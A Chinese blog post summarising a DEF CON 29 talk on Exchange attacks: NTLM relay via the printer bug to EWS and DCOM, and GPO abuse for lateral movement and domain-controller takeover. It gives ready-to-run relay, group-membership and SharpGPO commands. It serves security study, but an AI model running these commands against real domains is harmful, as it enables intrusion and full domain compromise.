前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >议题解读:One Domain Account For More Than Exchange Server RCE

议题解读:One Domain Account For More Than Exchange Server RCE

作者头像
鸿鹄实验室
发布2021-08-25 10:18:05
6190
发布2021-08-25 10:18:05
举报
文章被收录于专栏:鸿鹄实验室鸿鹄实验室

本文是对defcon会议 One Domain Account For More Than Exchange Server RCE的简单解读(复制粘贴),pdf地址:

https://media.defcon.org/DEF%20CON%2029/DEF%20CON%2029%20presentations/Tianze%20Ding%20-%20Vulnerability%20Exchange%20-%20One%20Domain%20Account%20For%20More%20Than%20Exchange%20Server%20RCE.pdf

视频地址:https://www.youtube.com/watch?v=7h38rI8KT30

推荐一波该议题,给类组合拳。

议题速览

1、exchange攻击面总览

2、从域认证到Mailbox接管

3、从域认证到exchange rce

4、横向移动、域提权

议题部分

exchange的研究意义这里就不多说了,用户多、权限高,全球设备多

而且再域内拥有较高权限,有着拿下exchange就拿下域的说法,且在安装exchange默认的组具有writeacl权限,可进行各类组合攻击,但这类权限已被在2019年修复。

exchange的架构如下

已被攻陷的部分如下

从域认证到Mailbox接管

在exchange中,提供了各类导入、导出等指定路径的功能,而该路径为UNC路径,

而有过相关基础的就知道,UNC路径可获取到目标的认证消息,默认为机器账户的凭据

而这里便要提到ntlm relay攻击了,议题也对该攻击进行了简单介绍

那我们还需要知道那个exchange接口支持ntlm才能进行此类攻

以及一个EPA的概念

但exchange默认EPA是不会开启的。下面就是找一个relay的接口,就可以进行我们的攻击了,这里选择的EWS,EWS具有下面功能

然后配合打印机漏洞便可进行攻击,攻击链如下:

需要的工具:

https://github.com/quickbreach/ExchangeRelayX

https://github.com/dirkjanm/krbrelayx/

https://github.com/SecureAuthCorp/impacket/blob/master/examples/exchanger.py

命令:

代码语言:javascript
复制
exchangeRelayx.py -t exchange2 address -l 0.0.0.0
printerbug.py domain/user:password@exchange1 attackaddress
exchanger.py domain/user:password@exchange1 nspi dump-tables -name GAL

此类攻击在2021被修复。

从域认证到exchange rce

首先,exchange的机器账户默认属于本地管理员组

然后作者说了几种relay场景以及为什么不能进行relay

然后作者发现可以使用DCOM得MSRPC进行攻击

选中的DCOM对象为

代码语言:javascript
复制
MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F89)

攻击链如下

工具:

https://github.com/SecureAuthCorp/impacket/blob/master/examples/ntlmrelayx.py

命令:

代码语言:javascript
复制
ntlmrelayx.py -t dcom://exchange2 -smb2support
printerbug.py domain/user:password@exchange1 attackaddress

横向移动、域提权

横向移动

作者给的图以及很明了了,有一个Exchange Trusted Subsystem组成员权限的前提下,便可以利用GPO实现对指定用户(域管除外)的rce。

工具:

https://github.com/Dliv3/SharpGPO

https://github.com/FSecureLABS/SharpGPOAbuse

命令:

代码语言:javascript
复制
net group "Exchange Trusted Subsystem" attacker /add /domain //将指定用户加的高权限组
net group "Group Policy Creator Owners" attacker /add /domain  //将指定用户加的高权限组
SharpGPO.exe --Action NewOU --OUName "EvilOU" //新建OU
SharpGPO.exe --Action NewGPO --GPOName "EvilGPO" //新建GPO
SharpGPO.exe --Action NewGPLink --DN "OU=EvilOU,DC=xx,DC=xx" --GPOName "EvilGPO" //OU与GPO进行链接
SharpGPOAbuse.exe --AddUserTask --TaskName "PocCalc" --Author attch --Command "cmd.exe" --Argument "/c calc.exe" --GPOName //给GPO添加任务
SharpGPO.exe --Action MoveObject --SrcDC "CN=XXX,CN=users,DC=xx,DC=xx" --DstDN "OU=EvilOU,DC=xx,DC=xx" //将指定用户移动到新建的OU中

域提权

原理跟上面类似,只是把用户改成了机器

工具:

https://github.com/Dliv3/SharpGPO

https://github.com/FSecureLABS/SharpGPOAbuse

命令:

代码语言:javascript
复制
net group "Exchange Trusted Subsystem" attacker /add /domain //将指定用户加的高权限组
net group "Group Policy Creator Owners" attacker /add /domain  //将指定用户加的高权限组
SharpGPO.exe --Action NewOU --OUName "EvilOU" //新建OU
SharpGPO.exe --Action NewGPO --GPOName "EvilGPO" //新建GPO
SharpGPO.exe --Action NewGPLink --DN "OU=EvilOU,DC=xx,DC=xx" --GPOName "EvilGPO" //OU与GPO进行链接
SharpGPOAbuse.exe --AddUserTask --TaskName "PocCalc" --Author attch --Command "cmd.exe" --Argument "/c calc.exe" --GPOName
SharpGPO.exe --Action MoveObject --SrcDC "CN=XXX,OU=Domain Controllers,DC=xx,DC=xx" --DstDN "OU=EvilOU,DC=xx,DC=xx" //将指定机器移动到新建的OU中

最后移除新建的OU、GPO

代码语言:javascript
复制
SharpGPO.exe --Action RemoveOU --OUName "EvilOU" //移除OU
SharpGPO.exe --Action RemoveGPO --GPOName "EvilGPO" //移除GPO
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2021-08-15,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 鸿鹄实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档